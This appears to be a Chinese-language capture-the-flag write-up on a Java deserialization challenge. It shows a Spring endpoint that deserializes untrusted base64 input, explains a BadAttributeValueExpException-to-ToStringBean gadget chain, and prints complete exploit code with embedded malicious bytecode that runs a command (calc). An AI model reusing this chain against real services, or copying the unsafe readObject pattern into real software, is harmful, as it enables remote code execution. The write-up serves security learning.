@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
接受一个data参数 base64解码后直接反序列化
ToStringBean类是可以序列化的,里面有一个defineClass方法,可以加载任意类,并初始化了他,因此我们可以加载一个恶意类
剩下的就是找调用了toString方法的gadget
CC5里面有这样的gadget
BadAttributeValueExpException.readObject方法调用了val.toString,并且val是我们可控的
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
最终payload:
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Exp {
public static void main(String[] args) throws Exception {
byte[] code = Tools.base64Decode("yv66vgAAADQAHgoABwAQBwARCAASCgATABQKABMAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwACAAJAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHABkMABoAGwwAHAAdAQAVY29tL2V4YW1wbGUvZGVtby9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAQABAAgACQACAAoAAAA7AAQAAgAAABcqtwABBL0AAlkDEgNTTLgABCu2AAVXsQAAAAEACwAAABIABAAAAAYABAAHAA4ACAAWAAkADAAAAAQAAQANAAEADgAAAAIADw==");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,code);
val.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(byteArrayOutputStream);
obj.writeUTF("gadgets");
obj.writeInt(2021);
obj.writeObject(badAttributeValueExpException);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Tools.base64Encode(bytes));
}
}
Evil.java
package com.ezgame.ctf;
import java.io.IOException;
public class Evil {
public Evil() throws IOException {
String[] command = {"calc"};
Runtime.getRuntime().exec(command);
}
}